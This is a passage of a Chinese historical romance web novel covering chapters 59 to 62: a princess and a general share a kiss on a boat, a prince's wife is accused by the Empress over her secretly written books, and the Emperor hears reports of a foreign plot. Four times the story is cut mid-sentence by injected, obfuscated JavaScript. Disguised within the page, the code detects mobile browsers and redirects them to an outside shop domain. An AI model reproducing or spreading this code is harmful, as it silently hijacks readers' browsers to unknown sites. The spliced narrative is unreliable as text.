没了来自岸上的威胁,虞静央明显放松了许多,脸颊红扑扑的,萧绍拥着她,嘴唇缓缓向下游移,想直接吻上去,却又不敢唐突,蜻蜓点水在她唇角一啄。 随心放肆过后,他有些忐忑地瞧她的脸色,见她没有抵触,心下便没了阻碍,更加安然地得寸进尺,缓缓靠近,轻柔又坚定地印上她柔软的唇。 贴上再分开,分开再贴上,仿佛两片轻盈的羽毛,在心上不轻不重地挠。他吻了她两次,但都是浅尝辄止,不敢再逾越一步,只有明显变沉的吐息和暗下去的眸色显示着他此时的失态。 虞静央不是未经人事的懵懂少女,感受得到他身体的微妙变化,动也不敢动,攥着他衣襟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518041|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指微微发颤。 不能再这样下去了。 她唇舌发干,轻道:“我想喝水……” 萧绍应了,却没有放开她,单手伸到小几上倒了杯茶水,递到她面前,虞静央僵着身子,就着这个姿势喝了两小口,不敢抬眼对上他炙热又专注的目光。那双眼睛像装着一片汹涌的海,波涛起伏,但拍在她身上的每一层浪花都不是粗暴的,如柔雾细丝般勾缠着她,吸引她心甘情愿地沉溺下去。 她有许多年没有见过萧绍露出这种神情了,偏偏她最受不了他这样,只消望一眼,她就要立刻丢盔卸甲,忘记原来的一切谋划。 萧绍声线微哑,突然道:“我也渴了。” “那你也喝。”虞静央的脑袋现在很迟钝,下意识把茶盏往他的方向推,全然忘了那是自己刚刚用过的。萧绍没有喝,把茶盏放在一边,见她作势要起身,他手上力道重了些,又把她按回到自己腿上。 她被迫坐了回去,而这一坐不知坐到了哪里,惹得萧绍急喘一声。虞静央立刻明白过来,顿时浑身僵住,不敢再轻举妄动了。 可这里四下无人,已经没有了危险,不需要再演下去了。虞静央清醒了一点,被欺负了一样蹙起秀眉,一边站起身,一边张口抗议:“你这是……唔——!” 下一瞬,她的声音被狠狠堵了回去,虞静央只感到唇上一热,滚烫的喘息便毫无征兆地袭来,顷刻间淹没了一切理智。这一次,萧绍没有给她任何拒绝或反应的机会,扣在她腰上的手强势地收紧,单一的贴近触碰无法使他满足,而是寸寸攻城略地,撬开牙关长驱直入,不容拒绝地掠夺了她的全部呼吸,是凌乱无序的,也是炽烈汹涌的。 他吻得没有经验,甚至称得上糟糕,一举一动皆没有章法,却让虞静央脑中一片空白,眼中浮起的雾气很快润湿了乱颤的睫羽。 湿润的茶香在彼此舌尖浮漾,清新里带着一点甜味,萧绍手扶在她后脑,她后退一分,他便更加逼上前,执意要拉着她共沉沦。 直到画舫漂过镜湖在汀洲岸旁停下,他才停了下来,稍稍后退几分,见她面露绯色,唇上娇艳的口脂被蹭得一干二净。虞静央慢半拍睁开眼,先是和他对视半晌,见他眼底翻滚着尚未消去的欲色,险些又被蛊惑了心智。 没了披风遮挡,微凉的风顺着布幕缝隙灌进来,终于使虞静央变得清醒。她承认,当在酒楼见到萧绍的时候,她的确有借题发挥撩拨他的意思在,却没想过他会如此放肆,竟当真顺势胡作非为了一番。按照他以往的性子,不是应该全程身体僵硬红着脸,等郁沧离开就迅速起身和她拉开距离吗?怎么就…… 明明前段时间才信誓旦旦说过“对他人之妻没兴趣”,看起来像个光风霁月的君子,刚才用嘴的时候可一点都不含糊! 唇上温热的触感尚未消失,她又羞又恼地推他一把,控诉道:“我只是让你陪我演一出戏,谁准你这样——” 萧绍被推得稍稍后仰,连呼吸都还没平稳下来:“是你先招惹我,还不许我反击了?不讲理。” 59. 手帕 理智终于回笼,提醒着他方才做了何等冲动的事,萧绍表面镇定,实则心里早就慌到极处。事到如今,他早已经认命地接受了心跳告诉他的事实,适才所做的也都是顺从自己内心的举动,可虞静央呢?她只是想藏起来,刚才又被他牢牢钳制在怀里,未必是全然愿意的…… 思及此,萧绍更觉得心中没底,做的时候不管不顾,现在却感到后悔起来。 虞静央害臊不已,眸中仍是水雾迷蒙,几乎就要满溢出来,不知是委屈还是气恼。萧绍见了,单手在衣襟里摸索着手帕,临到拿出来时却好像猛地想起了什么似的,脸色一变。 虞静央不知他为何突然紧张起来,只见那条手帕拿出一半又被匆忙塞回,露出的一角绣样是浅金红色的花瓣,看上去十分眼熟。 ……不对! 就在萧绍即将成功塞回去的时候,虞静央反应过来,忽然睁大了眼睛,紧接着动作比脑子快,迅速伸出手抓住他衣襟,执意要看清那条手帕,强硬得活像个打劫的土匪。萧绍肉眼可见地慌张起来,失了全部风度与她争抢,柔软的布料在两端手中被揉出了褶皱,但最终还是不敌,落入了虞静央之手。 虞静央顾不得那么多,拿到手后立刻展开查看——柔滑洁白的布料,上面凌霄花配蝴蝶的花纹栩栩如生,分明就是她绣的那条! 那次他问她索要玉佩,提起这条手帕时一副漫不经心的模样,连她都被骗了过去,最后只有把自己的珠花给他作交换。五年过去,她本以为手帕不受珍视,早就被弃之敝履,可现在看看,他分明爱惜得紧!要知道他是刚结束战事赶回来,想是平时装作不在意,把它束之高阁,到了上战场的时候却特意贴身装着,生怕留在别处出了岔子! 一边偷偷留着手帕,一边还骗走了她的珠花,他独自高兴满足,却心口不一,说什么“他人之妻”刺她的心,还要她整日费力气猜他的心思,贪心,自私,无赖! 虞静央攥着手帕,气得眼睛都红了,却见他还贼心不死试图抢回去,直接打他的手:“骗子,还给我,不许你用了!” 拍在手背上的力道没有收敛,发出清脆的响声,萧绍本能地缩了一下,旋即却又迎了上去,宁愿被打也不放手。激烈的争执惹得已经靠岸的船又开始摇晃,虞静央不理会,越抢越觉得委屈,力气逐渐变小,被人紧紧锁在了臂弯里。 萧绍好不容易把她制住,也不再嘴硬了,忙说着:“是我不对,你别生气……那朵珠花我一直好好放着,就在我府上……” “……” 虞静央算到了开头,却没有料到他不按常理出牌,结局完全在她意料之外,等到挣扎累了,她渐渐消停下来,感到一阵疲惫。毕竟和这种泼皮无赖,有什么道理可讲?要是遇上了,也就只有自认倒霉。 她心中愤愤,突然想起两人还保持着一个糟糕的姿势,此时更是一点旁的心思都没有,没好气道:“放我下去。” 萧绍沉默着没动,她有些恼火,又开始挣扎,却被他环得更紧,下巴也垫在了她肩窝里。 “……再等等,让我缓一缓。” 声音闷闷的,暗哑又低沉,还带着细微的喘息。虞静央立刻就懂了,脸上好不容易降下去的热度又腾了起来,却也只有僵坐在他腿上不敢动弹,心里暗暗把“萧绍”两个字磨了又碾,恶狠狠地处刑一百遍。 两人就这样在一起坐着,许是气氛太闷,萧绍硬捱了一会儿,尝试着与她闲聊,也有帮自己转移注意的目的在:“战事结束后,我放下军队先行回京,途经兰县时接到了晋王妃的报信,我便寻了来……” “谁问了?”虞静央还在郁闷,但怒气明显没有刚才大了。 “……” 萧绍一哽,但还没有完全气馁,调整片刻后,又自顾自地继续说:“淮州军赢了。东瀛人看似狡猾,实则胆小瑟缩,进退毫无战术章法可言。最后一战我们突袭上岛,赢得很轻松。” 他前言不搭后语,完全是想起什么就说什么,饶是虞静央再气恼,现在也没有了发作的心力,只想等他恢复正常后赶紧起身。就这样被钉在他身上,对她来说也是种折磨。 汀洲上花草茂盛,沿岸水面无风,荡漾的湖水逐渐沉静下来。不知过了多久,虞静央终于获得自由,那阵不自在的感觉慢慢消减下去,再看一眼坐在对面的人,手撑在小几上,急促的呼吸渐渐平稳,目光也恢复清明了。 眼见他总算找回了理智,虞静央心神稍安,两人面面相觑,回想起刚才的事,简直尴尬得无处掩藏,于是只短暂地对视了两眼,便都不约而同地移开。 想起自己前来所为的正事,萧绍定了定神,道:“南江人这次绕路兰县耽误进京,对大齐朝廷来说既是傲慢,亦是无礼,他们邀约你相见,你大可以回绝的。” “我只是想摸一摸他们的底,过来时也带了很多侍卫。”虞静央闷声。 她为防郁沧,带来的侍卫都是晋王府手下的精锐,和他谈话时也让人就守在雅间门口,却还是低估了他的无耻程度。但她也有后手,既然郁沧敢蹬鼻子上脸,那她就利用这座酒楼把事情闹大,等南江人狂妄无礼,试图强迫公主就范的消息传到玉京,她表面势弱,却在人心偏向方面率先取得了优势。 不过确实令她没有想到的是,嫂嫂在她走后立马给萧绍递了信,而他也当真这么及时地赶到了自己面前。 当时她正在酒楼里四处躲藏奔跑,引起了不少人的注意,想到此处,萧绍大概明白了她的目的,反而是自己从天而降,阴差阳错毁了她的计划。 那般惊险的时刻,她倒是心思缜密,不见慌乱,饶是自己有损,也要狠狠反咬回去,把对方拖下水。 萧绍心里感觉有些异样,却又说不出来由,面色不显道:“放心,你不必亲自出面,有晋王府的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543816|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,今日之事不会就这么轻易揭过去。” “嗯。”虞静央应了,当然,如果没有人托底,她定然不会在看见萧绍的那一刻就改变了计划。 萧绍从战场赶回来的路上收到了两次报信,一次是来自祝回雪的,一次是来自自己府上护卫的。 两人正常说了会儿话,一言一语间氛围缓和了不少,他望了望她,主动道:“那天你被人堵在街上,是苏昀救了你。” 他的话语不是疑问,而是陈述,虞静央就猜到他已经得知了事情始末。毕竟以他手下的眼线情报,想要摸清这些事是轻而易举的。 “你吃醋了?” 她故意问。事实上这个答案对她很重要,有了这个答案,她才能判断他方才所为究竟是情难自禁,还是单纯的见色起意,以后应对他的策略也该有相应的变化。 没想到她会问得如此直白,萧绍目光闪了闪,随即移到别处。就在虞静央兴致缺缺的时候,他抿了抿唇,忽然回话了:“……我更想谢他。” 这是什么回答。 虞静央刚想蹙眉,又隐约从他隐晦的话语中品出了一点深意。这种似是而非的话,但凡是个心思粗糙一些的,都听不出他的言下之意。 胆小鬼。 她心中不满,故意道:“我还以为你对苏昀不满,又要提醒我是‘有夫之妇’呢。” “……”萧绍语塞,像吃了只苍蝇般难受,却又没办法说什么。像虞静央这种人,从小到大就爱记仇,说错一句话,就要被翻来覆去念叨很多年。 也许是今天被他惹恼了的缘故,她说话更是不大悦耳,但好在也不像之前那样小心翼翼了。现在这般拉着脸不依不饶的做派,倒有几分少年时生龙活虎的娇蛮样子。 ……也挺好的。 萧绍心中的郁闷平息了,道:“多日不见,殿下保护自己的本领不见提升,胡思乱想的水平倒是突飞猛进。” 他的脸色肉眼可见地晴朗起来,虞静央不是他肚子里的蛔虫,摸不清他经历了一番何等的思绪斗争,更觉得莫名其妙。而他却仿佛心情不错的模样,投来的眼神平添几分柔和,虞静央被看得极不自在,也只有暗暗腹诽。 这人,怎么阴晴不定的。 画舫里空间狭窄,长时间坐在里面未免不适,若此时回程,也有遇上尚未离开的南江人的风险。左右已经到了汀洲岸边,两人打算上去稍作修整,缆绳在木柱上固定好后,萧绍先离船,随后转身,伸手到虞静央面前,谁知虞静央却不给他这个脸面,只是睨了睨他便绕开,自己扶着一旁的柱子上了岸。 “……” 萧绍的手指僵在半空蜷了蜷,若无其事地收了回来,跟在她后面走。 不过是四下无人、意乱情迷时做了些不该做的事,说到底,他们两个现在依然什么关系都没有。 就算有,也上不得台面,见不得光。 60. 婵娟 这片汀洲属于酒楼管辖,上面修建了茶棚、花园等供客人休歇的场所,约莫还没有到热闹的时候,是以人影寥寥。两人找了处僻静地坐下,一时相顾无言。 “你……” “我……” 两人同时开口,又不约而同顿住。虞静央的手在衣料上摩挲了一下,赶在他前面道:“你先说。” 萧绍想谦让的话语被堵了回去,踌躇片刻后也就不再客气,左右接下来要说的事也是她感兴趣的。 他缓了缓,说道:“战事稍缓的时候,我绕道去了一趟宣城,看见街市繁荣,民生安宁,一切都很好,你不用担心。” 宣城距离东瀛所在的战场不近,就算快马加鞭一路不停,来回也要三四日的功夫,尽管东瀛带给淮州军的威胁不算大,但战场形势易变,他能从指缝挤出这点时间是十分不容易的。 虞静央感到意外,一边心中微暖,不管怎么样,宣城现在名义上还是她的封地,日后如果发现出了岔子,她就有撇不开的责任。传回玉京的那些文书粉饰太平,不可尽信,派人暗中探查固然可行,但终究不如信得过的人亲自跑一趟令人安心。 “‘一切都很好?’”她故意用他的话问。 明明是自己刚刚才说过的话,面对虞静央状似无意的询问,萧绍却没立刻接上。宣城,确实繁华富庶,确实和平安宁,只是在城郊五十里外的山隘处,多了一座隐蔽的私兵营。 被她目不转睛地盯着,萧绍镇定半晌,终是屈服,坦白道:“看起来很好。虽然出了一点小差池,不过不足为虑,回去我便知会晋王,争取尽快把这件事解决……” 他存了怕她忧虑的心思,说了实话但仍留有余地,口吻轻描淡写,其实哪有如此容易。不过虞静央也没有揭穿,左右她早就已经猜出了实情,同时心知萧绍此人好强,惯是个报喜不报忧的性子。 现在的他就像兄长一样,总是喜欢包揽一切,极力把人护在自己身后。可是风雨愈大,娇弱的花若不自己攀爬,如何能再次回到晴空下。 绿树荫蔽里藏着倦怠的鸟雀,一片云彩悄然浮起,遮住了正在下落的夕阳。半晌,萧绍重新问起:“适才你想说什么?” 经他一提,虞静央也想了起来,自然而然地开启了下一个话题:“我听兄长提起过,这次父皇指派淮州军在海上迎战东瀛,是存了历练的意思在,我本以为你们要耗费很久的时间,没想到会这么快。” 淮州军早年作战多在北方中原一带,后来常年驻军在陆地上,因此缺乏水战的经验。这一点算得上他们唯一的短板,反观以南江为首的南部地带河海纵横,不论出击还是防御,一旦扬起战火,最离不开的就是楼船水兵,娴熟掌握水中作战的本领便也显得尤为重要。 “此战顺利,一是因为东瀛人不敢正面迎战,来时便抱着鬣狗拾荒般的心思,军心不定,遇敌便溃不成军;二是因为军营中不乏记载水战的兵书,将士们平常多有研习,所以有所进益。”萧绍道。 虞静央点头,没有多想。毕竟东瀛人贪婪成性,却又无力与大齐正面对抗,整日围着边境沿海嗡嗡地转也不是什么新鲜事,有淮州军隔岸震慑,他们必不敢造次,只有打落血牙吞进肚子了。 “那,军中伤亡可严重?”她问。 “有火炮在阵前顶着,很少。” 萧绍顿了一下,补充道:“不过,我受伤了。” 他? 虞静央眸子里有一瞬茫然。可他行动自如,脸色也很正常,不像负伤挂彩的模样,刚才两人挨得极近,她还在他身上挣扎了许久,也没有发现任何他吃痛或迟缓的表现。 相比她的迟疑,萧绍显得格外从容,顺势离开原本的位置,坐到她身旁,把伤口给她看。 “这里。” 他稍稍俯身,好让她看得更清楚。虞静央仔仔细细端详半天,才终于在他脖颈侧后方的皮肤上找到了一道血红色的痕迹。 很细,很小,半寸不到的长度,结了层薄薄的血痂。 “……” 虞静央沉默很久,抬起头问:“你这伤口,怕是军医见到的时候就已经愈合了吧?” 被毫不留情地戳穿,萧绍耳根微红,却是忍不住翘起唇角,结果被她用力推到一边。像这种贪心又狡猾的无赖,根本不能给半分好脸色,否则就要大摇大摆开起染坊来。 虞静央暗暗腹诽,面颊却又不受控制地烧起来,闷声不说话。这下萧绍是不敢再造次了,同样安安分分坐在一边,手里捏着那方绣着凌霄花的手帕,趁她不注意时悄悄叠好,藏回了衣襟里。 南江使团的人悉数离开后,晋王府的侍卫赶来,依照祝回雪的吩咐专程来接二人回去,但画舫容纳的人数有限,一行人踏上回程,依旧是萧绍和虞静央共乘一船。 天色渐暗,明月升了上来,在水面洒下一层澄澈清辉。周围一片静谧,虞静央靠在船舱边,自言自语道:“月亮永远是那一轮月亮,可不知为何,我总觉得大齐的更圆更好看些。” 她仰头望天,皎洁映进她眼睛,萧绍在她身边,说:“那就多看一看,直到看腻为止。” 就算看腻了,月亮也会一直在,只要她打开窗,探手就能摘下来。 那抹空灵缥缈的月色静静悬在夜空里,虞静央和他对上目光,忽而笑了一下,不是假模假样的伪装,而是发自真心的。 “腻不了的。”她说。 从南江到玉京,中间隔着无数条江河,无数座山丘,分享着同一轮明月。她不辞艰险越过那些山河,见到了自己偏爱的人和月色,也想把他们长长久久地留在身边。 前路未知,她无法窥得尚未开演的结局。但无论怎样,若干年后,她还是可以想起今夜的月光,在同一瞬间沐浴了她的裙角和他的刀鞘。 --- 数百里外的玉京城,虞静延有公务在身,刚刚忙完归府,还没来得及休息片刻,张栩急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565236|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆匆从外面进来,禀报道:“殿下,王妃那边出事了。” 张栩是王府里的老人,什么大风大浪没有见过,能让他慌张的恐怕不是什么小事。祝回雪和虞静央身在兰县赈灾施粥,现下尚且没有归来的音讯,万一那边灾情有异…… 虞静延心中一紧,问:“怎么了?” “皇后急召王妃入宫,理由未明,一群人从皇宫直奔兰县,现在已经把王妃接走了。” 说到这儿,张栩似有顾虑,低首继续禀道:“另外……今早王妃的书籍突然被人大批量买走,但买主未知,与我们王府合作的几家较大的书肆,皆被无故查封了。” 虞静延听着,一颗心渐渐沉了下去。对于祝回雪就是归雪山人这件事,连晋王府上下都鲜有人知,而且一向保密得极好,如今书被买走,书肆被查封,紧接着就是宣入宫的急诏,坏消息接踵而至,怎么会是巧合。 坤宁宫……怕是被关皇后已经查出什么端倪,现在召人进宫,是准备兴师问罪了。 “备马。”虞静延立刻起身,就要向外走,张栩却没有让开,而是在他面前跪了下去,伏地不敢抬头:“殿下,王妃她给您传了话,说、说……” 虞静延已然急躁,见他支支吾吾更是没了耐心,皱起眉头:“快说。” “王妃说,‘著书之举不合常道,不为皇家所容,若连累殿下和王府一同受过,心中难安。今日中宫召见,不论发生什么都请殿下莫要出面,倘若最终罪无可避,甘愿自请下堂……’” 自、请、下、堂。 虞静延默念这四字,过了半晌才意识到自己没有听错,先是感到不可置信,旋即勃然大怒:“一派胡言!” 沉重的桌案被狠狠一拍,众人震得一抖,纷纷跪地。这些年晋王殿下的性子越发内敛,虽然也有不快的时候,但极少发这么大的怒,能如此左右他情绪的,也就只有王妃一人了。 虞静延胸膛起伏,情绪一时难以平息,有愤怒、不甘,更有心寒。的确,他们最近在冷战,彼此之间没有以前那样亲近,可在他眼里这些都不算危机,日子一天天过下去,总有和好如初的机会,而她心思谨慎,今日欲主动下堂求去,恐怕不是临时起意,而是早就已经有这种想法了。 想到这里,虞静延心里的躁郁怎样都压不下去,大步走出王府:“即刻进宫!” …… 从进入秋日开始,天色就暗得早起来,等到一行人从兰县赶到皇宫,太阳已经完全落山了。坤宁宫内殿,宫人噤若寒蝉立在两侧,一叠书卷从上首主位毫不留情地扔下来,在空中洋洋洒洒,雪花般落在祝回雪面前。 是她的书。 祝回雪的心霎时间沉到谷底,沉默着跪了下去。 她如此表现,便是承认了。关皇后毫不意外,满面失望地摇头:“祝氏,我本以为你温顺安分,最是个懂规矩的人,不成想看走了眼。你是晋王正妃,竟敢做出此等离经叛道之事!” 61. 枷锁 祝回雪静静跪着,似是无可辩解,关皇后眼中闪过快意,继续道:“祝家清贵重礼,你在祝太傅膝下长大,若非今日证据确凿,本宫当真难以相信是你所为。身为皇家妇,却著书立说,任由自己的笔迹墨宝流到民间,实在太不像话!” 祝回雪虽与家族不亲厚,却不能忍受旁人议论辱没自己的祖父,抬起头道:“是妾身难以抛却旧日喜好,才暗自写书在民间售卖,祝家绝无一人知晓,望皇后明察。” 说完,她俯身谢罪,弯腰叩了下去。 她努力为自己辩白,奈何关皇后今日打定主意,岂会轻易放过她。 “究竟知不知晓,还要查过才知道。你若只是写些杂谈游记也就罢了,就怕不止于此,要知道有些书生骚客凭借纸笔谋生,倘若心怀鬼胎对当世不满,肆意散播舆论谣言,那笔便不再是笔,而成刀枪利剑了。” 终于说到关键之处,关皇后一副沉怒的神情,质问道:“我问你,你做此等不入流的事,晋王是否也参与其中?” 她言辞巧妙,看似是嫡母对小辈的忧心劝诫,实际上却是要借题发挥放大她的罪名,而且把虞静延和王府卷进来。祝回雪反应过来,心中当即警铃大作:“妾身所写清清白白,只是作为喜好打发时间,从无插手或左右政事之举。此事无关晋王,皇后要降罪,就请发落妾身,莫要牵连无辜之人!” 见她强硬,关皇后也不再伪装慈爱,冷笑道:“晋王府与玉京城中多家书肆早有往来,你身在后宅,没有晋王帮衬如何能面面俱到!你们以书作掩护扰乱舆情,为自己和姜家谋利造势,本宫早已查得一清二楚,来人!” 她们事先买走一批书,早就在里面写下关系政局党争的谋逆言论,足够以假乱真。陛下今日出宫为姜氏祭灵扫墓,到现在还没回来,她把这些“证据”昭告天下,对晋王府将是致命的打击,不论朝廷百官的支持还是百姓民心,虞静延都将彻底失去。 关皇后话音一落,宫人立刻会意出殿去拿物证,岂料片刻过后,一个小太监面色惨白地回来,抖着声音回禀:“娘娘,那些书原本好好的,不知何时被歹人偷走,不、不见了……” 这样的意外令众人始料未及,但坤宁宫上下皆严阵以待,怎会出此纰漏!关皇后怒不可遏,喝道:“没用的东西,再去找!” 小太监吓得屁滚尿流,应声后慌忙奔了出去。约莫过了一盏茶的功夫,宫人面露欣喜回来:“娘娘,找到了,找到了!” 关皇后的暴怒顿时消去了一半,二话不说接过送来的几本书,尽管仍顾忌着中宫皇后“明察秋毫”的公正立场,但一想到晋王府大势将去,还是不由自主地表现出几分兴奋。她急切地翻开书页,仔细查看过后,脸色却变了——书中内容简单无奇,除了游览山河美景的杂谈记录,其他什么都没有。 这根本不是她们提前准备好的证据! 关皇后惊疑不定,神情也因急怒变得狰狞:“怎么回事?!先前本宫看到的分明——” “皇后想看到什么,谋逆密函,还是讨伐檄文?” 一道阴沉冰冷的声音自外殿响起,让在场众人抖了抖,祝回雪也僵住了,意外地回头望去。关皇后面上的戾气还没来得及掩盖,虞静延已然越过殿门外的层层守卫,大步流星走了进来。 他一向礼数周全,这次却来势汹汹,不像往常一样,行礼时连头都没有低一下,也不等上首之人有没有叫起便放下手,根本看不出半分恭敬之意。眼见下方立着的人毫无慌张,关皇后顿时明白了,她派人备好的那些书,怕是被人提前调包了! 既然现在没有证据,那就无法兴师问罪,只能退而求其次。她忍着怒气,道:“晋王来得正好,本宫也想问问你,究竟是如何管束的自家王妃?” 坤宁宫众人守在两边,来自晋王府的护卫也跟在主子身后,无声与之对峙。虞静延不见惧色:“王妃写作的事,我从始至终都知情。既然她喜欢,我便不该扫兴阻拦,皇后宫务繁忙,连小辈的私事都要插手吗?” 大庭广众下被人如此顶撞,关皇后脸色铁青:“你别忘了,本宫仍是你的嫡母!依本宫看,你放任她肆意妄为,是否借其之便为政事谋划还未可知!” 虞静延盯着她:“谣言可畏,皇后尚未拿出证据来,就空口白牙猜疑我们夫妇,究竟意图为何?” 两方势同水火已久,但还是第一次如此剑拔弩张,把矛盾摆在了明面上。关皇后失了脸面,厉声道:“你放肆!” 虞静延不理会,转身去扶还跪着的祝回雪:“起来。” 分外紧张的环境里,祝回雪被拉了起来,有些不安地望向面前人,提醒他不要与坤宁宫闹得太难看。虞静延却只是看了她一眼,便又转过身去。 上首之人怒目而视,虞静延径自蹲下身捡起一本书,掸落沾上的灰尘,黑沉的眸子不躲不闪迎上关皇后的目光:“这些书是她的心血,以后也会继续写下去。皇后怀疑我狼子野心,趁此机会做有违朝政的恶事,大可搜集证据直接上禀父皇,可若有人捏造是非妄图陷害,我亦不会忍让半分。” 说完,虞静延拉起祝回雪,就这么打算离开。关皇后恨得咬牙切齿,站起身来:“身为女子理应安分守己,祝氏是天家命妇,皇子正妃,岂能任由自己的笔迹在民间流转!本宫看你是疯魔了——” 耐心耗尽,虞静延眼神陡厉,旋即声音抬高:“父皇逐鹿天下之时身为诸侯,封赐荫及家中女眷,是时姜夫人亦属皇家命妇,依然可以经营自己的铺面,直至仙逝民间生意方止。如今王妃依照喜好著书写作,一无暴露身份,二无肆意敛财,三无干涉政事,皇后觉得哪里不妥?” 这么多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579901|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,姜夫人始终是皇后心里的一根刺,宫中无人不知,今日晋王竟没了顾忌,为庇护晋王妃不惜搬出亡母! 坤宁宫宫人无不大惊失色,慌忙看向主子,果然见关皇后面色一阵红一阵白,胸口剧烈起伏。 诚然,若以传统女德女训作为标准,晋王妃所为确实有失礼数,何况身在这规矩森严的皇家。皇后是天下国母,即便没有所谓“谋逆”的证据,下令处罚也是说得过去的,偏偏今日晋王及时赶到,态度格外强硬不说,还搬出了故去姜夫人的旧事。 陛下思念元妻,现在有了这番说辞,他的态度便难说了。如此,关皇后若再想发落晋王妃,不仅显得她不满姜夫人昔日行事,对待小辈严苛,还会损伤她贤后的名声。 关皇后气得浑身发抖,一时说不出话。就在场面僵住之际,虞静延被身后的人拽了拽衣袖,劝阻的意味明显。 他是皇子,虽不用称关氏一声“母后”,但也应顾及几分皇家颜面,莫要闹得太大,否则等关家的拥趸反应过来,就算他毫无错处,也要被扣一个不敬尊长的罪名。 虞静延握拳的手骨微微泛白,攥紧又松开,最终敛下情绪:“待父皇回宫,我会亲自带王妃面圣坦白,书卷悉数上呈,定让父皇亲眼看清晋王府有无谋逆之嫌,就不劳皇后费心了。” 他象征性地揖了揖手,不等皇后说话,转身向殿外离去。 满室都是坤宁宫的宫人,却无一人敢上前阻拦,纷纷低着头,向两侧退开让出道路。 祝回雪眸中微动,手指不自禁蜷了蜷,却始终被他“不合规矩”地坚定握着,随着他穿过沉默而拥挤的人墙,一步一步走出大殿。 她离经叛道,她不遵闺训。重重枷锁勒得人喘不过气,她想要知难而退,最后忍受一次挫折就飞出这华贵的金丝笼,可是…… 可是,他却还是来了,在她以为自己孤立无援的时候。 --- 玉京郊外,一辆宽阔考究的马车沿官道缓缓行进,上百名暗卫远远缀在后面保护,昭示着车中人身份地位的不简单。直至马车进城,驶入一处不起眼的院落,暗卫得令退下,无声隐入夜色。 夜空寂静,乌云悄然掩住月色。小院中,三四个身着官袍的男人黑压压跪在地上,那马车早已停下,坐在里面的人却并未下车,只是由人掀开帘子,无声垂视着几人。 为首的官员知道时间不多,于是不敢耽搁,低首向马车中的人禀报:“今日南江使团绕路兰县,储君郁沧邀约三殿下,在一处酒楼见了面,但离去时脸色不佳。料想三殿下情绪难抑,谈话并不愉快。” “是‘邀约’,还是逼迫?” 声音沉厚有力,散放着上位者浑然天成的威严,正是虞帝。听着臣子明显带有重点倾向的陈述,他面上波澜不惊,坐在车中抿了口茶。 62. 陈情 “这……”官员为难,但深知皇帝怕是心如明镜,便不敢隐瞒,委婉坦白道:“回陛下的话,瞧着那南江储君心高气傲,确实不像会服软的人……” 经过敲打,臣子果然变得老实起来,不敢再在言语上偷奸耍滑。虞帝听后,大致明白了事情始末,不咸不淡“嗯”了一声。 虞静央孤身远嫁,这些年在南江颇受苛待,日子并不好过,对此他或多或少知道一些。南江人轻视大齐,此次前来怕是还心存妄想,以为像从前一样态度强硬,便能使人吓怕妥协。 “陛下,除了南江使团,臣还有一要事禀报……” “讲。” “陇西的探子传回消息,说矿地似有异常。当地几处主要的大矿坑中矿石储量丰富,连年开采尚有富余,部分边缘的矿地却几近枯竭,臣心知不对,便命人继续查探,发现那几处将要枯竭的小矿坑平平无奇,却无一不挨近与西戎接壤的边境,且沿线一带并非冷清无人,而是有西戎军队把守,时常有矿车出没。” 臣子低首,忍着忐忑道:“不怕一万,只怕万一,若有人暗中勾结外敌,妄图偷窃我国矿产……” 他的声音渐渐弱下去,自然清楚自己所说之事有多么大胆,而皇帝听后一言不发,令其愈发惶恐不安起来。就在大臣冷汗将要滴下来的时候,上首一只青底釉茶盏重重地砸到了他的面前,随着“啪”地一声脆响,瓷片夹杂着茶水撞在石砖地上,顷刻间四分五裂。 滚烫的水液四处横飞,有几滴溅在大臣脸上,仿佛裹挟着滔天怒火,狠狠甩了他一巴掌。大臣吓得激灵,旋即伏倒在地:“陛下息怒!” “依你的意思,是姜家谋逆叛国,吃里扒外勾结西戎了?”虞帝不叫他起,冷冷道。 皇帝不欲陪他打哑谜,直接把他的意思毫不掩饰地搬到了明面上,大臣抹了把汗,颤颤回道:“臣本不愿怀疑姜氏,但事态如此,臣也不得不留一份心,来求陛下圣断……” 